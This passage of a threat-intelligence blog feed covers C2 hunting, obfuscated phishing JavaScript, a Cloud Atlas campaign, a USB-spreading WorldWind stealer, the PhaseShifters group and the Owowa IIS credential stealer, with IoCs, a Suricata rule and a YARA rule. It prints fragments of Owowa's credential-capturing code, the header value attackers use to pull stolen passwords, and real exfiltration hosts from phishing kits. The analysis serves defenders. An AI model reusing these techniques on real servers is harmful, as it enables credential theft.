✅ ONYPHE<br />
✅ Custom scanner</p>
<p>Searching manually across all services is labor-intensive, but still necessary, since each service may produce different results. To reduce manual labor costs, automation is needed. We developed the SCANDAT system internally, which has its own internal search syntax and automatically generates search rules for each service. </p>
<p>😠 In <em>screenshots 1–3</em> you can see examples of queries for detecting C2 for the GoRed malware, which <a href="https://www.ptsecurity.com/ru-ru/research/pt-esc-threat-intelligence/ex-cobalt-go-red-tehnika-skrytogo-tunnelya/?utm_source=tg_esc&#038;utm_medium=post&#038;utm_campaign=tips&#038;utm_content=17_02" rel="noopener" target="_blank">the ExCobalt group uses.</a> </p>
<p>Additionally, there is a <a href="https://github.com/montysecurity/C2-Tracker" rel="noopener" target="_blank">basic open-source solution</a> for automating queries.</p>
<p>Ultimately, all identified C2 from our system end up in the company&#8217;s products, increasing the level of threat detection.</p>
<p>💡 It&#8217;s worth noting that some MaaS developers try to counter such detection methods. For example, starting from a certain version of Medusa Stealer, its developers removed the title, some content on the page, and added generation of random data in the TLS certificate so that the stealer&#8217;s control panel couldn&#8217;t be identified through popular services.</p>
<p>You can not only collect such servers and send them to feeds for security tools, but also write emulators of malware network protocols to obtain a payload or some module from a fresh C2. This will allow you to obtain additional indicators and attribution characteristics.</p>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2025/02/photo_202@17-02-2025_16-33-55-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/02/photo_202@17-02-2025_16-33-55-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/02/photo_202@17-02-2025_16-33-55-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/02/photo_202@17-02-2025_16-33-55-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2025/02/photo_202@17-02-2025_16-33-55-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/02/photo_202@17-02-2025_16-33-55.jpg 1238w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="427" src="https://ptesc.tech/wp-content/uploads/2025/02/photo_203@17-02-2025_16-33-55-1024x427.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/02/photo_203@17-02-2025_16-33-55-1024x427.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/02/photo_203@17-02-2025_16-33-55-300x125.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/02/photo_203@17-02-2025_16-33-55-768x320.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/02/photo_203@17-02-2025_16-33-55.jpg 1200w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#TI</span> <span class="hashtag">#C2</span> <span class="hashtag">#tips</span> <span class="hashtag">#hunt</span> <span class="hashtag">#malware</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>How long have you been reverse engineering JavaScript?</title>
		<link>https://ptesc.tech/en/how-long-have-you-been-reverse-engineering-javascript/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Fri, 17 Jan 2025 16:48:07 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[hunt]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[Phishing]]></category>
		<guid isPermaLink="false">https://ptesc.tech/%d0%ba%d0%b0%d0%ba-%d0%b4%d0%b0%d0%b2%d0%bd%d0%be-%d1%82%d1%8b-%d1%80%d0%b5%d0%b2%d0%b5%d1%80%d1%81%d0%b8%d0%bb-javascript/</guid>

					<description><![CDATA[How long has it been since you reversed JavaScript? 😲 Continuing the phishing theme (we previously looked at targeted suspicious documents leading to initial access or NTLM hash collection), we want to show examples of recent attacks target…]]></description>
										<content:encoded><![CDATA[<p><strong>How long has it been since you reversed JavaScript?</strong> 😲</p>
<p>Continuing the phishing theme (we previously looked at targeted suspicious documents leading to <a href="https://t.me/ptescalator/218" rel="noopener" target="_blank">initial access</a> or <a href="https://t.me/ptescalator/219" rel="noopener" target="_blank">NTLM hash collection</a>), we want to show examples of recent attacks <strong>targeting the mass user</strong> accustomed to using products from the well-known Microsoft company. </p>
<p>Let&#8217;s look at how threat actors generate fake HTML pages <strong>mimicking authentication credential input forms</strong>, from the perspective of JavaScript code and the obfuscation techniques used, and even find some interesting Easter eggs from the phishers. </p>
<p>1️⃣ <strong>First example</strong></p>
<p>The most primitive example from today&#8217;s collection is the use of the following construct:</p>
<pre><code>document.write(unescape(atob(</code></pre>
<p>Inside it is embedded an externally loaded script <code>flyit.com.ar/wp-includes/certificates/js_host/outlk.js</code>, which contains a <strong>jQuery library</strong> and additional code that sends the user&#8217;s credentials to <code>campusmin.sitb.edu.ar/completion/classes/php_host/_xls3.php?_do=xxx_form</code>. </p>
<p><em>A quick educational moment:</em> the atob function allows decoding a base64 string, and <code>document.write</code> writes the content of its argument into the DOM of the active page, replacing its current content. In this case, the obfuscation is minimal — mostly just compression (minification) is used.</p>
<p>2️⃣ <strong>Second example</strong></p>
<p>This is a more interesting example, as it contains a lot of obfuscated code. The HTML page delivered to the user contains only an obfuscated script that executes on the browser side. </p>
<p>Free deobfuscators can&#8217;t handle the code transformation, so we resort to manual JavaScript reversing: the dedicated functions used, the <code>atob</code> and <code>document.write</code> methods form a web page that subsequently loads a script from <code>7354770595-1323985617.cos.ap-seoul.myqcloud.com/attach%2Fbootstrap.min.js</code> (obfuscated using the free service <a href="http://obfuscator.io" rel="noopener" target="_blank">obfuscator.io</a>), which is where the user&#8217;s credentials are actually collected. Then the login and password are sent to the threat actors&#8217; C2 — <code>miguel.uscourtaccess.com/next.php</code>.</p>
<p>Can you spot the Easter eggs in the screenshot? 😏</p>
<p>3️⃣ <strong>Third example</strong></p>
<p>In the third case, a phishing kit called <strong>WikiKit</strong> is used to generate a fake page that is a branded version of the standard authentication credential input form. It got its name from redirecting to Wikipedia when JavaScript is disabled in the browser or the phishing link is invalid. This script blocks the use of debugging tools (although bypassing them is generally not difficult), and the collected data is sent to <code>cotceur.com</code>. </p>
<p><strong>What are our recommendations?</strong> 🧐</p>
<p>Besides &#8220;don&#8217;t open files from suspicious emails,&#8221; which seems irrelevant for this channel (we&#8217;re the opposite — we&#8217;re interested in opening them), here are a number of simple but important points that are definitely worth paying attention to when analyzing web pages:</p>
<p><strong>•</strong> on the Network tab of the browser, check the origin of additionally loaded resources — after all, jQuery is better obtained from the legitimate jQuery domain or a known CDN.</p>
<p><strong>•</strong> the use of the atob function (base64 decoding), and with </p>
<pre><code>aHR0cHM6
aHR0cDo</code></pre>
<p>inside it (the decoding result is <code>https:</code> or <code>http:</code>) — a truly terrifying mix! And if you add <code>document.write</code> (adding content to an HTML document) and <code>unescape</code> (a deprecated method for decoding URIs) to that — it&#8217;s definitely a red flag 🚩</p>
<p><strong>•</strong> anti-debugging is, of course, used for legitimate purposes, but very rarely: it&#8217;s worth thinking twice if you encounter it (these techniques, by the way, can be bypassed quite easily — for example, in the case of the third phishing page, instead of using hotkeys like <code>F12</code> or <code>Ctrl+Shift+i</code>, manually open the tools in the settings or capture the traffic).</p>
<p>💡 We&#8217;d like to note that you shouldn&#8217;t see suspiciousness everywhere — for example, code compression and popular types of obfuscation are often used in legitimate projects! Decided to analyze some JS code yourself just for fun and saw a strange POST request? <strong>Let&#8217;s hope you entered a fake password</strong> 🤞🏻</p>
<p><strong>Happy hunting!</strong></p>
<figure class="wp-block-image"><img width="1024" height="570" src="https://ptesc.tech/wp-content/uploads/2025/01/photo_175@17-01-2025_16-48-07-1024x570.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/01/photo_175@17-01-2025_16-48-07-1024x570.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/01/photo_175@17-01-2025_16-48-07-300x167.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/01/photo_175@17-01-2025_16-48-07-768x428.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/01/photo_175@17-01-2025_16-48-07.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="582" src="https://ptesc.tech/wp-content/uploads/2025/01/photo_176@17-01-2025_16-48-07-1024x582.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/01/photo_176@17-01-2025_16-48-07-1024x582.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/01/photo_176@17-01-2025_16-48-07-300x170.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/01/photo_176@17-01-2025_16-48-07-768x436.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/01/photo_176@17-01-2025_16-48-07.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#hunt</span> <span class="hashtag">#network</span> <span class="hashtag">#phishing</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Cloud services from the operator &quot;MeHaFon&quot;</title>
		<link>https://ptesc.tech/en/cloud-services-from-the-operator-mehafon/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Fri, 15 Nov 2024 15:37:32 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[APT]]></category>
		<category><![CDATA[detect]]></category>
		<category><![CDATA[hunt]]></category>
		<category><![CDATA[ioc]]></category>
		<category><![CDATA[news]]></category>
		<guid isPermaLink="false">https://ptesc.tech/%d0%be%d0%b1%d0%bb%d0%b0%d1%87%d0%bd%d1%8b%d0%b5-%d1%81%d0%b5%d1%80%d0%b2%d0%b8%d1%81%d1%8b-%d0%be%d1%82-%d0%be%d0%bf%d0%b5%d1%80%d0%b0%d1%82%d0%be%d1%80%d0%b0-%d0%bc%d0%b5%d1%85%d0%b0%d1%84/</guid>

					<description><![CDATA[📲 Cloud services from the "MeHaFon" operator News from the field: the PT ESC team is observing a new campaign by the Cloud Atlas group targeting government organizations in Russia and CIS countries. We covered this group in our research APT…]]></description>
										<content:encoded><![CDATA[<p>📲 <strong>Cloud services from the &#8220;MeHaFon&#8221; operator</strong></p>
<p>News from the field: the PT ESC team is observing a new campaign by the Cloud Atlas group targeting government organizations in Russia and CIS countries. We covered this group in our research <a href="https://www.ptsecurity.com/ru-ru/research/pt-esc-threat-intelligence/apt-cloud-atlas-unbroken-threat/" rel="noopener" target="_blank">APT Cloud Atlas: Unbroken Threat</a> and in a <a href="https://t.me/ptescalator/46" rel="noopener" target="_blank">post</a>.</p>
<p>📝 As the initial vector in their attacks, the threat actors traditionally use phishing emails with a malicious attachment &#8220;<code>О представлении информации.doc</code>&#8221; (VirusTotal 0/62). The emails are sent from <code>@internet.ru</code> addresses. This email domain can be obtained by registering with the <code>mail.ru</code> service.</p>
<p>It is noteworthy that the attackers are staying true to themselves and have been using cloud services since 2014. At the same time, they continue to experiment, and new popular platforms are added to their arsenal time and again. Therefore, first and foremost, we strongly recommend checking all sessions over the &#8220;<a href="https://yandex.ru/dev/disk/doc/ru/" rel="noopener" target="_blank">Yandex Disk WebDAV</a>&#8221; protocol (<code>webdav.yandex.ru</code>) and requests via the <a href="https://developers.google.com/sheets/api/reference/rest" rel="noopener" target="_blank">Google Sheets API</a> (<code>oauth2.googleapis.com</code>, <code>sheets.googleapis.com</code>).</p>
<p><strong>IoCs:</strong></p>
<pre><code>
mehafon.com
technoguides.org

9943fee873c0642216d1578fc4373648b670b5bc47a8bf37366063041518f8b2
</code></pre>
<p>Happy hunting and stay tuned!</p>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/11/photo_126@15-11-2024_15-37-32-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/11/photo_126@15-11-2024_15-37-32-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/11/photo_126@15-11-2024_15-37-32-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/11/photo_126@15-11-2024_15-37-32-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/11/photo_126@15-11-2024_15-37-32-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/11/photo_126@15-11-2024_15-37-32.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/11/photo_127@15-11-2024_15-37-32-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/11/photo_127@15-11-2024_15-37-32-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/11/photo_127@15-11-2024_15-37-32-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/11/photo_127@15-11-2024_15-37-32-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/11/photo_127@15-11-2024_15-37-32-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/11/photo_127@15-11-2024_15-37-32.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/11/photo_128@15-11-2024_15-37-33-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/11/photo_128@15-11-2024_15-37-33-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/11/photo_128@15-11-2024_15-37-33-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/11/photo_128@15-11-2024_15-37-33-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/11/photo_128@15-11-2024_15-37-33-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/11/photo_128@15-11-2024_15-37-33.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#hunt</span> <span class="hashtag">#detect</span> <span class="hashtag">#ioc</span> <span class="hashtag">#apt</span> <span class="hashtag">#news</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Stealer infection: a new USB strain</title>
		<link>https://ptesc.tech/en/stealer-infection-a-new-usb-strain/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Tue, 12 Nov 2024 19:12:50 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[C2]]></category>
		<category><![CDATA[detect]]></category>
		<category><![CDATA[hunt]]></category>
		<category><![CDATA[ioc]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[suricata]]></category>
		<guid isPermaLink="false">https://ptesc.tech/%d1%81%d1%82%d0%b8%d0%bb%d0%b5%d1%80%d0%bd%d0%b0%d1%8f-%d0%b8%d0%bd%d1%84%d0%b5%d0%ba%d1%86%d0%b8%d1%8f-%d0%bd%d0%be%d0%b2%d1%8b%d0%b9-usb-%d1%88%d1%82%d0%b0%d0%bc%d0%bc/</guid>

					<description><![CDATA[Stealer infection: a new USB strain 👾 Today we're going to talk about an unusual modification of the WorldWind stealer that we discovered. It is a real, bona fide virus that spreads through close contact between an infected device and a USB…]]></description>
										<content:encoded><![CDATA[<p><strong>Stealer infection: a new USB strain</strong> 👾</p>
<p>Today we&#8217;re going to talk about an unusual modification of the <strong>WorldWind stealer</strong> that we discovered. It is a real, bona fide virus that spreads through close contact between an infected device and a USB drive and causes not only the leakage of confidential information but also the loss of a priceless collection of software on external drives. </p>
<p>The sample, like its predecessors, still continues to use the <code>icanhazip</code>, <code>mylnikov.org</code> services + Google Maps to determine the external IP address and geolocation (<em>screenshot 1</em>). The implementation of the information collection module has also not changed, except for a couple of structures.</p>
<p>🐔  <strong>The mutations, however, affected the network part and the stealer&#8217;s feature set.</strong> It no longer transmits information via Telegram. Instead, messages fly off to the attackers&#8217; C2 server in the following order: checkin → exfiltration → close. The formats of these messages are presented <em>in screenshot 2</em>.</p>
<p>The functions for stealing VPN configs and passwords from game launchers and Wi-Fi have also disappeared from the stealer. But in return, it has developed the ability to spread aggressively via USB drives. If there are executables on the external drive, the stealer will delete them and write itself under their names (<em>screenshot 3</em>).</p>
<p><strong>Don&#8217;t you find that it feels like the good old days of wild virus writing?</strong> 😏</p>
<p>To reduce the risk of infection, get your signature vaccinations and undergo antivirus checkups.</p>
<p><strong>While we&#8217;re at it, let&#8217;s cover the stealer with a rule that detects checkin:</strong></p>
<pre><code>
alert tcp any any -&gt; any any (msg: &quot;STEALER [PTsecurity] WorldWind checkin&quot;; flow: established, to_server; stream_size: client, &lt;, 80; stream_size: server, =, 1; content: &quot;|46 00 00 00|&quot;; startswith; fast_pattern; content: &quot;{|22|id|22 3a| 0&quot;; within: 8; content: &quot;|22|hwid|22 3a|&quot;; within: 10; content: !&quot;|20|&quot;; distance: 2; within: 32; content: &quot;|22|country|22 3a|&quot;; distance: 32; content: !&quot;,&quot;; distance: 0; classtype: trojan-activity; metadata: malware_family WorldWind; sid: 1; rev: 1;)
</code></pre>
<p><strong>IOCs:</strong></p>
<pre><code>
84d52de2b69e14f26259da07297e02eb2c4ac32045a690f65a267fe931da0433
20.208.136.72:12346
</code></pre>
<p>Stay healthy and happy hunting!</p>
<figure class="wp-block-image"><img width="1024" height="640" src="https://ptesc.tech/wp-content/uploads/2024/11/photo_120@12-11-2024_19-12-50-1024x640.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/11/photo_120@12-11-2024_19-12-50-1024x640.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/11/photo_120@12-11-2024_19-12-50-300x188.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/11/photo_120@12-11-2024_19-12-50-768x480.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/11/photo_120@12-11-2024_19-12-50.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="640" src="https://ptesc.tech/wp-content/uploads/2024/11/photo_121@12-11-2024_19-12-50-1024x640.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/11/photo_121@12-11-2024_19-12-50-1024x640.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/11/photo_121@12-11-2024_19-12-50-300x188.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/11/photo_121@12-11-2024_19-12-50-768x480.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/11/photo_121@12-11-2024_19-12-50.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#hunt</span> <span class="hashtag">#C2</span> <span class="hashtag">#detect</span> <span class="hashtag">#ioc</span> <span class="hashtag">#malware</span> <span class="hashtag">#network</span> <span class="hashtag">#suricata</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Who even are these PhaseShifters of yours?</title>
		<link>https://ptesc.tech/en/who-even-are-these-phaseshifters-of-yours/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Fri, 01 Nov 2024 11:57:04 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[APT]]></category>
		<category><![CDATA[hunt]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%b4%d0%b0-%d0%ba%d1%82%d0%be-%d1%82%d0%b0%d0%ba%d0%b8%d0%b5-%d1%8d%d1%82%d0%b8-%d0%b2%d0%b0%d1%88%d0%b8-phaseshifters/</guid>

					<description><![CDATA[😲 Who the heck are these PhaseShifters of yours? In early June 2024, specialists from the Threat Intelligence department identified a new PhaseShifters attack chain. ✍️ PhaseShifters (Sticky Werewolf, UAC-0050 ❓) is a hacker group engaged i…]]></description>
										<content:encoded><![CDATA[<p>😲 <strong>Who the heck are these PhaseShifters of yours?</strong></p>
<p>In early June 2024, specialists from the Threat Intelligence department identified a new PhaseShifters attack chain.</p>
<p>✍️ <strong>PhaseShifters </strong>(Sticky Werewolf, UAC-0050 ❓) is a hacker group engaged in espionage, whose attacks target various industries in Eastern European countries, including government agencies, the economic sector, and industry.</p>
<p>In their attacks, the group uses phishing: attackers send emails supposedly from officials requesting the recipient to review a document and sign it. The document is attached inside a password-protected archive. As malware, the attackers use Rhadamanthys, DarkTrack RAT, Meta Stealer, and others.</p>
<p>🔍 We have observed high activity from the group since spring 2023 and noticed one strange detail back then. The fact is that PhaseShifters group attacks are <strong>identical in techniques to the attacks of another group — UAC-0050</strong>. Moreover, the attacks occur with a short time gap, meaning the groups attack in the same way with a difference of several weeks to a month.</p>
<p>At this point, we lean toward the conclusion that UAC-0050 and PhaseShifters are the same group, but this can only be confirmed after longer-term observation.</p>
<p>⚠️ <strong>And it happened again&#8230;</strong></p>
<p>This summer, both groups began using identical patterns in their attacks. It even got to the point where the groups&#8217; malware was hosted in the same BitBucket repository. This prompted us to delve deeper into the matter.</p>
<p>📰 What attack was discovered, what similarities we observed, who was targeted, and what TA558 and Brazilian obfuscators and crypters have to do with it — you can find all this in <a href="https://www.ptsecurity.com/ru-ru/research/pt-esc-threat-intelligence/deti-ne-spisyvaem-novye-tehniki-gruppirovki-phase-shifters/?utm_source=tg_esc&#038;utm_medium=post&#038;utm_campaign=apt&#038;utm_content=1_11" rel="noopener" target="_blank">our article</a>.</p>
<p><span class="hashtag">#TI</span> <span class="hashtag">#Hunt</span> <span class="hashtag">#Malware</span> <span class="hashtag">#APT</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>OWOWA</title>
		<link>https://ptesc.tech/en/owowa/</link>
		
		<dc:creator><![CDATA[oUth0R]]></dc:creator>
		<pubDate>Thu, 31 Oct 2024 18:16:17 +0000</pubDate>
				<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[detect]]></category>
		<category><![CDATA[dfir]]></category>
		<category><![CDATA[hunt]]></category>
		<category><![CDATA[ioc]]></category>
		<category><![CDATA[win]]></category>
		<category><![CDATA[yara]]></category>
		<guid isPermaLink="false">https://ptesc.tech/owowa/</guid>

					<description><![CDATA[⚠️ OWOWAsome module, or IIS kOWOWAren Researchers reported on the malicious IIS module Owowa, designed to intercept user credentials, back in 2021. And in 2022, we talked about its evolution at OFFZONE. As practice shows, using this IIS mod…]]></description>
										<content:encoded><![CDATA[<p>⚠️ <strong>OWOWA</strong>some module, or IIS k<strong>OWOW</strong>Aren</p>
<p>Researchers <a href="https://securelist.ru/owowa-credential-stealer-and-remote-access/104228/" rel="noopener" target="_blank">reported</a> on the malicious IIS module Owowa, designed to intercept user credentials, back in 2021.</p>
<p>And in 2022, <a href="https://2022.offzone.moscow/getfile/A.Grigoryan_D.Koloskov_APT%20attacks%20on%20Russian%20companies%20in%20H1%202022-%20highlights.pdf" rel="noopener" target="_blank">we talked</a> about its evolution at OFFZONE. As practice shows, using this IIS module, attackers can compromise a large number of accounts in a fairly short period of time and obtain user passwords in plaintext.</p>
<p>The module is installed on the system with the command <code>appcmd.exe install module</code>. In all the samples we analyzed, the base class that implements the <a href="https://learn.microsoft.com/ru-ru/dotnet/api/system.web.ihttpmodule?view=netframework-4.8.1" rel="noopener" target="_blank">IHttpModule</a> interface is called <code>ExtenderControlDesigner</code>. After launch, the module intercepts incoming requests using the <a href="https://learn.microsoft.com/en-us/dotnet/api/system.web.httpapplication.presendrequestcontent?view=netframework-4.8.1" rel="noopener" target="_blank">PreSendRequestContent</a> method.</p>
<pre><code>
  public class ExtenderControlDesigner : IHttpModule
  {
    public void Init(HttpApplication context)
    {
      context.PreSendRequestContent += this.PreSend_RequestContent;
    }
    private void PreSend_RequestContent(object sender, EventArgs e)
    {...
</code></pre>
<p>Attackers continued to use this fairly simple IIS module in their most high-profile attacks on Russian companies in 2024 as well. For example, while investigating one information security incident, the PT ESC team discovered a modification of the Owowa stealer. In the updated version, the attackers stopped writing compromised credentials to a log in the file system. Instead, they are stored in a <a href="https://learn.microsoft.com/ru-ru/dotnet/api/system.collections.generic.hashset-1?view=net-8.0" rel="noopener" target="_blank">HashSet</a> in RAM.</p>
<p><strong>Example of credentials that are written to the HashSet:</strong></p>
<pre><code>
ExtenderControlDesigner.Data item = new ExtenderControlDesigner.Data
    {
      Id = text,
      UserName = userName,
      Password = pass,
      UserHostAddress = userHostAddress,
      XForwardedFor = xForwardedFor,
      DateTimeUtc = dateTimeUtc
    };
    bool flag2 = !ExtenderControlDesigner.hashSetData.Contains(item);
    if (flag2)
    {
      ExtenderControlDesigner.hashSetData.Add(item);
    }
</code></pre>
<p>The data, as before, is protected with the <code>RSA-2048</code> algorithm, and the public key is hardcoded in the module. To obtain information about the number of unique records, you can search for the signature <code>42 5A 68 00</code>; it is the account separator.</p>
<pre><code>
memoryStream.Write(new byte[]
    {
      66,
      90,
      104,
      0
    }, 0, 4);
</code></pre>
<p>Since the public key of the module used in attacks on companies in Russia is always identical and has not changed since 2022, we can assume that all attacks using it are carried out by a single group of attackers.</p>
<p>The attackers obtain the encrypted list of accounts by sending a valid GET request with the header <code>username: ZaDS0tojX0VDh82</code>.</p>
<p><strong>Example of a GET request in IIS server logs:</strong></p>
<pre><code>
2024-07-29 14:32:21 127.0.0.1 GET /owa/  443 ZaDS0tojX0VDh82 127.0.0.2 Mozilla/5.0+(X11;+Linux+x86_64;+rv:109.0)+Gecko/20100101+Firefox/115.0 - 401 1 1527 14
</code></pre>
<p>In addition to intercepting the <code>username</code> and <code>password</code> fields, interception of <code>LOGON_USER</code> and <code>AUTH_PASSWORD</code> was added in the new version.</p>
<p>In the latest version, the attackers removed the <code>RunCommand</code> function, which executed commands on the compromised host via <code>powershell.exe</code>.</p>
<p><strong>IoCs:</strong></p>
<pre><code>
Name               MD5
ClassLibrary2.dll  af6507e03e032294822e4157134c9909
ClassLibrary3.dll  2d240b6ceeaacd2e3dd52c9e7d3fb622
ClassLibrary3.dll  5cc433a2550bb7389f6c90521e7afa25
ExtenderControlDesigner.dll  967e7b6b048d628f36bbb4ca7b0f483f
ClassLibrary3.dll   e657eea3b9b7317e28ab4a89c1fa2177
ClassLibrary3.dll   6e6218aac341463496cca32f52b29013
ClassLibrary3.dll  4d66a3bbaf65a2ec36fd2d143c872ef6
</code></pre>
<p><strong>YARA:</strong></p>
<pre><code>
rule Owowa {
  strings:
    $s1 = &quot;IHttpModule&quot;
    $s2 = &quot;PreSend_RequestContent&quot;
    $s3 = &quot;ExtenderControlDesigner&quot;
$u1 = &quot;283c00ecp774ag36boljbpp6&quot; wide
    $u2 = &quot;dEUM3jZXaDiob8BrqSy2PQO1&quot; wide
    $u3 = &quot;Fb8v91c6tHiKsWzrulCeqO&quot; wide
    $u4 = &quot;jFuLIXpzRdateYHoVwMlfc&quot; wide
    $u5 = &quot;oACgTsBMliysfk&quot; wide
    $u6 = &quot;uW4sSY1CAkN6kI6r6ByXUWnK&quot; wide
    $u7 = &quot;ZaDS0tojX0VDh82&quot; wide
    $u8 = &quot;zwa879pOX1NAmTom8m3aQvoZ&quot; wide
  condition:
    uint16be ( 0 ) == 0x4d5a and ( 2 of ( $s* ) ) and ( 2 of ( $u* ) ) and filesize &lt; 20KB
} 
</code></pre>
<p>Happy hunting!</p>
<figure class="wp-block-image"><img width="1024" height="354" src="https://ptesc.tech/wp-content/uploads/2024/10/photo_104@31-10-2024_18-16-17-1024x354.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/10/photo_104@31-10-2024_18-16-17-1024x354.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/10/photo_104@31-10-2024_18-16-17-300x104.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/10/photo_104@31-10-2024_18-16-17-768x266.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/10/photo_104@31-10-2024_18-16-17.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/10/photo_105@31-10-2024_18-16-17-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/10/photo_105@31-10-2024_18-16-17-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/10/photo_105@31-10-2024_18-16-17-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/10/photo_105@31-10-2024_18-16-17-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/10/photo_105@31-10-2024_18-16-17-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/10/photo_105@31-10-2024_18-16-17.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#hunt</span> <span class="hashtag">#IOC</span> <span class="hashtag">#yara</span> <span class="hashtag">#dfir</span> <span class="hashtag">#detect</span> <span class="hashtag">#win</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Slam screen locker. What are you?</title>
